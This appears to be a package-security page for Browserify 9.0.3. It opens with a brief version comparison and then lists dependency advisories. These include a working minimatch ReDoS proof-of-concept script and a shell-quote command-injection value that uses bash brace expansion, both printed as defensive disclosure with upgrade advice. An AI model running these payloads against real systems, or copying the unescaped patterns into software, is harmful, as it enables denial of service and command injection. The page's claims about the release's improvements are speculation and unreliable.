Browserify version 9.0.3 represents a minor iteration over its predecessor, 9.0.2, both maintaining the core functionality of enabling require() in the browser. These versions share a core purpose: to let developers write modular JavaScript code using Node.js-style modules and then bundle them for execution in a web browser. Essentially, Browserify tackles the challenge of making server-side JavaScript techniques applicable to client-side development.
The dependency lists for both versions are identical. This means that the core engine and functionalities remain consistent. Developers can expect similar behavior regarding module resolution, dependency management, and the overall bundling process.
The key difference between the two versions lies in their release dates. Version 9.0.3 was published a few hours after 9.0.2. Considering both versions feature the same dependencies and functionalities, the newer release likely incorporates minor bug fixes, performance tweaks, or perhaps updates to internal tooling without affecting the primary function or API. For developers, upgrading from 9.0.2 to 9.0.3 promises a stable transition with the potential for modest improvements. It's a suggested upgrade to ensure access to the most polished and potentially faster version of the library without any breaking changes. Developers can rely on Browserify to create complex browser applications using a familiar Node.js-centric approach.
All the vulnerabilities related to the version 9.0.3 of the package
Regular Expression Denial of Service in minimatch
Affected versions of minimatch
are vulnerable to regular expression denial of service attacks when user input is passed into the pattern
argument of minimatch(path, pattern)
.
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.
Potential Command Injection in shell-quote
Affected versions of shell-quote
do not properly escape command line arguments, which may result in command injection if the library is used to escape user input destined for use as command line arguments.
The following characters are not escaped properly: >
,;
,{
,}
Bash has a neat but not well known feature known as "Bash Brace Expansion", wherein a sub-command can be executed without spaces by running it between a set of {}
and using the ,
instead of
to seperate arguments. Because of this, full command injection is possible even though it was initially thought to be impossible.
const quote = require('shell-quote').quote;
console.log(quote(['a;{echo,test,123,234}']));
// Actual "a;{echo,test,123,234}"
// Expected "a\;\{echo,test,123,234\}"
// Functional Equivalent "a; echo 'test' '123' '1234'"
Update to version 1.6.1 or later.